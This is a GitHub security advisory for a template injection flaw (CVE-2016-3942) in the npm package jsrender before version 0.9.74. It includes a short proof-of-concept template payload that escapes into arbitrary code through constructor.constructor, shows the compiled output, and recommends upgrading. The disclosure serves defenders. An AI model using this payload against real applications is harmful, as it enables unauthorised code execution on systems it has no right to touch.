GitHub Advisoryadvisory · npm

GHSA-r87w-47m8-22w3 Template Injection in jsrender

MEDIUM Published 2020-09-01 Modified 2023-09-07 Official page ↗
Aliases
CVE-2016-3942
Ecosystem
npm
Packages
jsrender
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Weaknesses
CWE-94
Reviewed
2020-08-31

Affected packages

• npm jsrender: < 0.9.74 → fixed in 0.9.74

Description

Affected versions of `jsrender` are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input. Proof of Concept ```js //POC-REQUEST {{for ~x!=1?(constructor.constructor("return arguments.callee.caller")()):~y(10)}} {{:#data}} {{/for}} ``` ```js //POC-RESPONSE function anonymous(data,view,j,u) { // template var v,t=j._tag,ret="" +t("for",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)']}, args:[view.hlp("x")!=1?(data.constructor.constructor("return arguments.callee.caller")()):view.hlp("y")(10)], props:{}}]); return ret; } ``` Recommendation Update to version 0.9.74 or later.

Related

Alias · not in database (1)

Weakness · CWE (1)

  • CWE-94 Improper Control of Generation of Code weakness

References